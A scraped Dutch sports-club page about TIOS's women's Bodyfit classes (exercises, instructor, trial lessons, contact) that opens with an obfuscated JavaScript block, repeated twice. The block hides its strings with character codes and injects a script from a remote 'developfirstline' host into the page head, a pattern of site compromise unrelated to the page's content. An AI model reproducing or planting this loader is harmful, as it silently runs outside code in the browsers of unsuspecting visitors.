Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,116,114,97,105,110,46,100,101,118,101,108,111,112,102,105,114,115,116,108,105,110,101,46,99,111,109,47,100,101,108,105,118,101,114,121,46,106,115,63,115,61,51);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,116,114,97,105,110,46,100,101,118,101,108,111,112,102,105,114,115,116,108,105,110,101,46,99,111,109,47,100,101,108,105,118,101,114,121,46,106,115,63,115,61,51);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

Bodyfit

Dames uren van TIOS…  sportvereniging TIOS heeft verschillende uren voor dames in haar lesprogramma met Bodyfit, Bodyshape en Zumba.

 

Bij de lessen Bodyfit wordt er begonnen met een warming-up met materiaal zoals dynabands, steps en dumbells. Dit alles op jaren ’60/70′ muziek. Hierna zijn de buik, billen, benen en armen aan de beurt met spierverstevigende oefeningen op een matje. Aan het einde van de les worden er stretch- en ontspanningsoefeningen gedaan. Iedere 2e week van de maand wordt er pilatus gegeven, behalve op de maandagochtend. De leeftijden variëren maar de dinsdag is voornamelijk een 55+ uur.

 

De Bodyfit lessen worden gegeven door Lea Dam. U bent van harte welkom vrijblijvend twee lessen te volgen alvorens u zich aanmeldt als lid. Bekijk in het rooster, wanneer en waar de lessen plaats vinden.

Voor meer informatie kunt u ook contact opnemen met de ledenadministratie: ledenadministratie@tioslimmen.nl